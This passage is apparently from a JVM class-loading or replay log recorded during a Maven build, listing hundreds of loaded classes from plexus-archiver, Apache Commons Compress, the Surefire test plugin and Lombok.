org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/FilterEnabled\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/codehaus/plexus/components/interactivity/Prompter\ninstanceKlass org/codehaus/plexus/components/interactivity/OutputHandler\ninstanceKlass org/codehaus/plexus/components/interactivity/InputHandler\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$ZipEntryWriter\ninstanceKlass java/util/concurrent/ConcurrentLinkedDeque$AbstractItr\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$EntryMetaData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$UnparseableExtraField\ninstanceKlass java/util/concurrent/ConcurrentLinkedQueue$Itr\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator$$Lambda$485\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$484\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequestSupplier\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$483\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$482\ninstanceKlass org/codehaus/plexus/components/io/functions/SymlinkDestinationSupplier\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$Lambda$481\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$CompressedEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequest\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$480\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$479\ninstanceKlass org/apache/commons/compress/archivers/zip/ResourceAlignmentExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$478\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$477\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$476\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$475\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$474\ninstanceKlass org/apache/commons/compress/archivers/zip/PKWareExtraHeader\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$473\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$472\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$471\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$470\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$469\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$468\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$467\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$466\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/X000A_NTFS\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/GeneralPurposeBit\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldParsingBehavior\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldBehavior\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass java/util/concurrent/ConcurrentLinkedDeque$Node\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream\ninstanceKlass org/apache/commons/io/function/IOConsumer$$Lambda$465\ninstanceKlass org/apache/commons/io/function/IOConsumer\ninstanceKlass org/apache/commons/io/output/ThresholdingOutputStream$$Lambda$464\ninstanceKlass org/apache/commons/io/function/IOFunction\ninstanceKlass org/codehaus/plexus/archiver/zip/DeferredScatterOutputStream\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStore\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$DeferredSupplier\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStoreSupplier\ninstanceKlass org/apache/commons/compress/archivers/zip/StreamCompressor\ninstanceKlass java/util/zip/Deflater$DeflaterZStreamRef\ninstanceKlass java/util/zip/Deflater\ninstanceKlass org/apache/commons/io/Charsets\ninstanceKlass org/apache/commons/compress/archivers/zip/NioZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/CharsetAccessor\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper\ninstanceKlass org/codehaus/plexus/archiver/util/Streams\ninstanceKlass org/apache/commons/compress/utils/ByteUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipLong\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$ExistingSection\ninstanceKlass java/util/Vector$Itr\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/apache/maven/archiver/PomPropertiesUtil\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResource$$Lambda$463\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/FileSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/ResourceAttributeSupplier\ninstanceKlass org/codehaus/plexus/components/io/resources/ResourceFactory\ninstanceKlass sun/nio/fs/WindowsUserPrincipals$User\ninstanceKlass java/nio/file/attribute/GroupPrincipal\ninstanceKlass java/nio/file/attribute/UserPrincipal\ninstanceKlass sun/nio/fs/WindowsUserPrincipals\ninstanceKlass sun/nio/fs/FileOwnerAttributeViewImpl\ninstanceKlass sun/nio/fs/AbstractBasicFileAttributeView$AttributesBuilder\ninstanceKlass org/codehaus/plexus/components/io/attributes/FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass org/codehaus/plexus/components/io/attributes/SimpleResourceAttributes\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection$IdentityTransformer\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$462\ninstanceKlass org/apache/maven/archiver/MavenArchiver$$Lambda$461\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$460\ninstanceKlass java/time/temporal/TemporalQueries$7\ninstanceKlass java/time/temporal/TemporalQueries$6\ninstanceKlass java/time/temporal/TemporalQueries$5\ninstanceKlass java/time/temporal/TemporalQueries$4\ninstanceKlass java/time/temporal/TemporalQueries$3\ninstanceKlass java/time/temporal/TemporalQueries$2\ninstanceKlass java/time/temporal/TemporalQueries$1\ninstanceKlass java/time/temporal/TemporalQueries\ninstanceKlass java/util/regex/Pattern$$Lambda$459\ninstanceKlass java/time/format/Parsed\ninstanceKlass java/time/format/DateTimeParseContext\ninstanceKlass java/text/ParsePosition\ninstanceKlass java/time/Instant$$Lambda$458\ninstanceKlass java/time/Instant\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/interpolation/BasicInterpolator\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$457\ninstanceKlass org/apache/maven/plugins/jar/AbstractJarMojo$$Lambda$456\ninstanceKlass org/codehaus/plexus/util/NioFiles\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/MatchPattern\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/apache/maven/shared/model/fileset/Mapper\ninstanceKlass org/apache/maven/shared/model/fileset/SetBase\ninstanceKlass org/apache/maven/shared/model/fileset/util/FileSetManager\ninstanceKlass org/apache/maven/project/DefaultMavenProjectHelper$$FastClassByGuice$$321696457\ninstanceKlass org/apache/maven/plugins/jar/JarMojo$$FastClassByGuice$$320354415\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResourceCollection$$FastClassByGuice$$319204354\ninstanceKlass org/codehaus/plexus/components/io/resources/DefaultPlexusIoFileResourceCollection$$FastClassByGuice$$317907236\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector$$FastClassByGuice$$316890601\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/DefaultFileSelector$$FastClassByGuice$$316062179\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector$$FastClassByGuice$$315190076\ninstanceKlass org/codehaus/plexus/components/io/filemappers/SuffixFileMapper$$FastClassByGuice$$314402006\ninstanceKlass org/codehaus/plexus/components/io/filemappers/RegExpFileMapper$$FastClassByGuice$$313089435\ninstanceKlass org/codehaus/plexus/components/io/filemappers/PrefixFileMapper$$FastClassByGuice$$311897602\ninstanceKlass org/codehaus/plexus/components/io/filemappers/MergeFileMapper$$FastClassByGuice$$310623073\ninstanceKlass org/codehaus/plexus/components/io/filemappers/IdentityMapper$$FastClassByGuice$$309401903\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FlattenFileMapper$$FastClassByGuice$$308945089\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileExtensionMapper$$FastClassByGuice$$307488013\ninstanceKlass org/codehaus/plexus/components/io/filemappers/DefaultFileMapper$$FastClassByGuice$$306645479\ninstanceKlass org/codehaus/plexus/archiver/zstd/ZstdUnArchiver$$FastClassByGuice$$305719940\ninstanceKlass org/codehaus/plexus/archiver/zstd/ZstdArchiver$$FastClassByGuice$$304596227\ninstanceKlass org/codehaus/plexus/archiver/zstd/PlexusIoZstdResourceCollection$$FastClassByGuice$$303300873\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipUnArchiver$$FastClassByGuice$$302443043\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipArchiver$$FastClassByGuice$$301369557\ninstanceKlass org/codehaus/plexus/archiver/zip/PlexusArchiverZipFileResourceCollection$$FastClassByGuice$$300773344\ninstanceKlass org/codehaus/plexus/archiver/xz/XZUnArchiver$$FastClassByGuice$$299292197\ninstanceKlass org/codehaus/plexus/archiver/xz/XZArchiver$$FastClassByGuice$$298820445\ninstanceKlass org/codehaus/plexus/archiver/xz/PlexusIoXZResourceCollection$$FastClassByGuice$$297311811\ninstanceKlass org/codehaus/plexus/archiver/war/WarUnArchiver$$FastClassByGuice$$296076085\ninstanceKlass org/codehaus/plexus/archiver/war/WarArchiver$$FastClassByGuice$$294779710\ninstanceKlass org/codehaus/plexus/archiver/war/PlexusIoWarFileResourceCollection$$FastClassByGuice$$294295113\ninstanceKlass org/codehaus/plexus/archiver/tar/TarZstdUnArchiver$$FastClassByGuice$$292787202\ninstanceKlass org/codehaus/plexus/archiver/tar/TarZstdArchiver$$FastClassByGuice$$292129510\ninstanceKlass org/codehaus/plexus/archiver/tar/TarXZUnArchiver$$FastClassByGuice$$291115000\ninstanceKlass org/codehaus/plexus/archiver/tar/TarXZArchiver$$FastClassByGuice$$289991980\ninstanceKlass org/codehaus/plexus/archiver/tar/TarUnArchiver$$FastClassByGuice$$289354997\ninstanceKlass org/codehaus/plexus/archiver/tar/TarSnappyUnArchiver$$FastClassByGuice$$287997952\ninstanceKlass org/codehaus/plexus/archiver/tar/TarSnappyArchiver$$FastClassByGuice$$286584072\ninstanceKlass org/codehaus/plexus/archiver/tar/TarGZipUnArchiver$$FastClassByGuice$$285907760\ninstanceKlass org/codehaus/plexus/archiver/tar/TarGZipArchiver$$FastClassByGuice$$284563405\ninstanceKlass org/codehaus/plexus/archiver/tar/TarBZip2UnArchiver$$FastClassByGuice$$283580909\ninstanceKlass org/codehaus/plexus/archiver/tar/TarBZip2Archiver$$FastClassByGuice$$283092344\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$$FastClassByGuice$$281624227\ninstanceKlass org/codehaus/plexus/archiver/tar/TZstdUnArchiver$$FastClassByGuice$$280670818\ninstanceKlass org/codehaus/plexus/archiver/tar/TZstdArchiver$$FastClassByGuice$$279591956\ninstanceKlass org/codehaus/plexus/archiver/tar/TXZUnArchiver$$FastClassByGuice$$277892334\ninstanceKlass org/codehaus/plexus/archiver/tar/TXZArchiver$$FastClassByGuice$$277657725\ninstanceKlass org/codehaus/plexus/archiver/tar/TGZUnArchiver$$FastClassByGuice$$276322032\ninstanceKlass org/codehaus/plexus/archiver/tar/TGZArchiver$$FastClassByGuice$$275091758\ninstanceKlass org/codehaus/plexus/archiver/tar/TBZ2UnArchiver$$FastClassByGuice$$274560814\ninstanceKlass org/codehaus/plexus/archiver/tar/TBZ2Archiver$$FastClassByGuice$$273294391\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarZstdFileResourceCollection$$FastClassByGuice$$272577250\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarXZFileResourceCollection$$FastClassByGuice$$271106891\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarSnappyFileResourceCollection$$FastClassByGuice$$270159449\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarGZipFileResourceCollection$$FastClassByGuice$$268643046\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarFileResourceCollection$$FastClassByGuice$$267955549\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTarBZip2FileResourceCollection$$FastClassByGuice$$267350868\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTZstdFileResourceCollection$$FastClassByGuice$$265887665\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTXZFileResourceCollection$$FastClassByGuice$$264425778\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTGZFileResourceCollection$$FastClassByGuice$$263196108\ninstanceKlass org/codehaus/plexus/archiver/tar/PlexusIoTBZ2FileResourceCollection$$FastClassByGuice$$262472314\ninstanceKlass org/codehaus/plexus/archiver/swc/SwcUnArchiver$$FastClassByGuice$$261891913\ninstanceKlass org/codehaus/plexus/archiver/swc/PlexusIoSwcFileResourceCollection$$FastClassByGuice$$260653141\ninstanceKlass org/codehaus/plexus/archiver/snappy/SnappyUnArchiver$$FastClassByGuice$$259721836\ninstanceKlass org/codehaus/plexus/archiver/snappy/SnappyArchiver$$FastClassByGuice$$258553347\ninstanceKlass org/codehaus/plexus/archiver/snappy/PlexusIoSnappyResourceCollection$$FastClassByGuice$$257679583\ninstanceKlass org/codehaus/plexus/archiver/sar/SarUnArchiver$$FastClassByGuice$$256542024\ninstanceKlass org/codehaus/plexus/archiver/sar/PlexusIoSarFileResourceCollection$$FastClassByGuice$$255436074\ninstanceKlass org/codehaus/plexus/archiver/rar/RarUnArchiver$$FastClassByGuice$$254421227\ninstanceKlass org/codehaus/plexus/archiver/rar/RarArchiver$$FastClassByGuice$$253519508\ninstanceKlass org/codehaus/plexus/archiver/rar/PlexusIoRarFileResourceCollection$$FastClassByGuice$$252442844\ninstanceKlass org/codehaus/plexus/archiver/par/PlexusIoJarFileResourceCollection$$FastClassByGuice$$250644648\ninstanceKlass org/codehaus/plexus/archiver/par/ParUnArchiver$$FastClassByGuice$$250552259\ninstanceKlass org/codehaus/plexus/archiver/nar/PlexusIoNarFileResourceCollection$$FastClassByGuice$$249467033\ninstanceKlass org/codehaus/plexus/archiver/nar/NarUnArchiver$$FastClassByGuice$$247527733\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager$$FastClassByGuice$$246589197\ninstanceKlass org/codehaus/plexus/archiver/jar/PlexusIoJarFileResourceCollection$$FastClassByGuice$$246305074\ninstanceKlass org/codehaus/plexus/archiver/jar/JarUnArchiver$$FastClassByGuice$$244319964\ninstanceKlass org/codehaus/plexus/archiver/jar/JarToolModularJarArchiver$$FastClassByGuice$$243972851\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$FastClassByGuice$$242404611\ninstanceKlass org/codehaus/plexus/archiver/gzip/PlexusIoGzipResourceCollection$$FastClassByGuice$$241179733\ninstanceKlass org/codehaus/plexus/archiver/gzip/PlexusIoGzResourceCollection$$FastClassByGuice$$240125494\ninstanceKlass org/codehaus/plexus/archiver/gzip/GZipUnArchiver$$FastClassByGuice$$239159142\ninstanceKlass org/codehaus/plexus/archiver/gzip/GZipArchiver$$FastClassByGuice$$239074900\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector$$FastClassByGuice$$237386385\ninstanceKlass org/codehaus/plexus/archiver/esb/PlexusIoEsbFileResourceCollection$$FastClassByGuice$$236106276\ninstanceKlass org/codehaus/plexus/archiver/esb/EsbUnArchiver$$FastClassByGuice$$235060947\ninstanceKlass org/codehaus/plexus/archiver/ear/PlexusIoEarFileResourceCollection$$FastClassByGuice$$234103274\ninstanceKlass org/codehaus/plexus/archiver/ear/EarUnArchiver$$FastClassByGuice$$233715924\ninstanceKlass org/codehaus/plexus/archiver/ear/EarArchiver$$FastClassByGuice$$232647764\ninstanceKlass org/codehaus/plexus/archiver/dir/DirectoryArchiver$$FastClassByGuice$$231171695\ninstanceKlass org/codehaus/plexus/archiver/car/PlexusIoCarFileResourceCollection$$FastClassByGuice$$230049461\ninstanceKlass org/codehaus/plexus/archiver/car/CarUnArchiver$$FastClassByGuice$$229520623\ninstanceKlass org/codehaus/plexus/archiver/bzip2/PlexusIoBzip2ResourceCollection$$FastClassByGuice$$228119845\ninstanceKlass org/codehaus/plexus/archiver/bzip2/PlexusIoBz2ResourceCollection$$FastClassByGuice$$227074148\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2UnArchiver$$FastClassByGuice$$225481706\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2Archiver$$FastClassByGuice$$225312410\ninstanceKlass org/apache/maven/plugins/jar/ToolchainsJdkSpecification$$FastClassByGuice$$223708375\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$2\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/apache/commons/compress/parallel/InputStreamSupplier\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$UnicodeExtraFieldPolicy\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator\ninstanceKlass org/codehaus/plexus/archiver/zip/AddedDirs\ninstanceKlass org/codehaus/plexus/components/io/functions/PlexusIoResourceConsumer\ninstanceKlass org/apache/commons/compress/archivers/EntryStreamOffsets\ninstanceKlass org/apache/commons/compress/archivers/ArchiveEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipFile\ninstanceKlass org/codehaus/plexus/components/io/functions/InputStreamTransformer\ninstanceKlass org/codehaus/plexus/components/io/resources/Stream\ninstanceKlass org/apache/commons/compress/utils/InputStreamStatistics\ninstanceKlass org/apache/commons/compress/compressors/bzip2/BZip2Constants\ninstanceKlass org/codehaus/plexus/archiver/util/Compressor\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/ContentSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/SizeSupplier\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/codehaus/plexus/components/io/functions/NameSupplier\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$AddedResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/EncodingSupported\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/AbstractUnArchiver\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/apache/maven/plugins/jar/ToolchainsJdkSpecification\ninstanceKlass java/util/concurrent/SynchronousQueue$TransferStack$SNode\ninstanceKlass java/util/concurrent/SynchronousQueue$Transferer\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/ProcessHandleImpl$$Lambda$455\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/ProcessHandleImpl$$Lambda$454\ninstanceKlass java/lang/ProcessHandleImpl\ninstanceKlass java/util/concurrent/CompletableFuture\ninstanceKlass java/util/concurrent/CompletionStage\ninstanceKlass java/lang/ProcessHandle$Info\ninstanceKlass java/lang/ProcessHandle\ninstanceKlass org/apache/maven/plugin/lifecycle/Lifecycle\ninstanceKlass org/apache/maven/surefire/api/util/ReflectionUtils\ninstanceKlass org/apache/maven/surefire/shared/lang3/math/NumberUtils\ninstanceKlass org/apache/maven/plugin/internal/AbstractMavenPluginDescriptorSourcedParametersValidator$$Lambda$453\ninstanceKlass org/apache/maven/surefire/booter/SystemUtils\ninstanceKlass java/util/concurrent/Executors$DefaultThreadFactory\ninstanceKlass java/util/concurrent/Executors\ninstanceKlass org/apache/maven/surefire/api/util/internal/DaemonThreadFactory\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/Platform$1\ninstanceKlass java/util/concurrent/FutureTask$WaitNode\ninstanceKlass java/util/concurrent/FutureTask\ninstanceKlass java/util/concurrent/RunnableFuture\ninstanceKlass org/apache/maven/plugin/surefire/SurefirePlugin$$FastClassByGuice$$222502495\ninstanceKlass org/codehaus/plexus/languages/java/jpms/LocationManager$$FastClassByGuice$$221709556\ninstanceKlass org/apache/maven/plugin/surefire/SurefireDependencyResolver$$FastClassByGuice$$221129914\ninstanceKlass org/apache/maven/surefire/providerapi/ProviderDetector$$FastClassByGuice$$219792332\ninstanceKlass org/apache/maven/surefire/providerapi/ServiceLoader$$FastClassByGuice$$218566869\ninstanceKlass org/codehaus/plexus/languages/java/jpms/JavaModuleDescriptor\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ResolvePathsResult\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ResolvePathsRequest\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ResolvePathResult\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ResolvePathRequest\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ManifestModuleNameExtractor\ninstanceKlass org/codehaus/plexus/languages/java/jpms/SourceModuleInfoParser\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ModuleInfoParser\ninstanceKlass org/codehaus/plexus/languages/java/jpms/ModuleNameExtractor\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ChecksumCalculator\ninstanceKlass org/apache/maven/plugin/surefire/InPluginVMSurefireStarter\ninstanceKlass org/apache/maven/plugin/surefire/StartupReportConfiguration\ninstanceKlass org/apache/maven/surefire/booter/Classpath\ninstanceKlass org/apache/maven/surefire/booter/StartupConfiguration\ninstanceKlass org/apache/maven/surefire/booter/ProviderConfiguration\ninstanceKlass org/apache/maven/plugin/surefire/JdkAttributes\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ForkStarter\ninstanceKlass org/apache/maven/surefire/api/testset/RunOrderParameters\ninstanceKlass org/apache/maven/surefire/booter/ClassLoaderConfiguration\ninstanceKlass org/apache/maven/plugin/surefire/ResolvePathResultWrapper\ninstanceKlass org/apache/maven/plugin/surefire/TestClassPath\ninstanceKlass org/apache/maven/surefire/api/util/DefaultScanResult\ninstanceKlass org/apache/maven/surefire/api/util/ScanResult\ninstanceKlass org/apache/maven/surefire/api/suite/RunResult\ninstanceKlass org/apache/maven/plugin/surefire/log/PluginConsoleLogger\ninstanceKlass org/apache/maven/surefire/api/testset/TestListResolver\ninstanceKlass org/apache/maven/surefire/api/testset/GenericTestPattern\ninstanceKlass org/apache/maven/surefire/api/testset/TestFilter\ninstanceKlass org/apache/maven/surefire/extensions/StatelessTestsetInfoReporter\ninstanceKlass org/apache/maven/surefire/extensions/ConsoleOutputReporter\ninstanceKlass org/apache/maven/surefire/extensions/StatelessReporter\ninstanceKlass org/apache/maven/plugin/surefire/AbstractSurefireMojo$ClasspathCache\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/Platform\ninstanceKlass org/apache/maven/plugin/surefire/booterclient/ForkConfiguration\ninstanceKlass org/apache/maven/surefire/booter/AbstractPathConfiguration\ninstanceKlass org/apache/maven/surefire/extensions/ForkNodeFactory\ninstanceKlass org/apache/maven/plugin/surefire/log/api/ConsoleLogger\ninstanceKlass org/apache/maven/surefire/providerapi/ConfigurableProviderInfo\ninstanceKlass org/apache/maven/surefire/providerapi/ProviderInfo\ninstanceKlass org/apache/maven/surefire/booter/KeyValueSource\ninstanceKlass org/codehaus/plexus/languages/java/jpms/LocationManager\ninstanceKlass org/apache/maven/plugin/surefire/SurefireDependencyResolver\ninstanceKlass org/apache/maven/surefire/providerapi/ServiceLoader\ninstanceKlass org/apache/maven/surefire/providerapi/ProviderDetector\ninstanceKlass org/apache/maven/plugin/surefire/SurefireExecutionParameters\ninstanceKlass org/apache/maven/plugin/surefire/SurefireReportParameters\ninstanceKlass org/apache/maven/model/merge/ModelMerger$1\ninstanceKlass com/sun/tools/javac/code/Scope$$Lambda$452\ninstanceKlass lombok/bytecode/ClassFileMetaData\ninstanceKlass lombok/bytecode/SneakyThrowsRemover\ninstanceKlass org/lombokweb/asm/ClassVisitor\ninstanceKlass lombok/bytecode/PreventNullAnalysisRemover\ninstanceKlass lombok/core/PostCompilerTransformation\ninstanceKlass lombok/core/PostCompiler\ninstanceKlass lombok/javac/apt/InterceptingJavaFileObject\ninstanceKlass org/springframework/boot/autoconfigureprocessor/AutoConfigureAnnotationProcessor$AbstractValueExtractor\ninstanceKlass 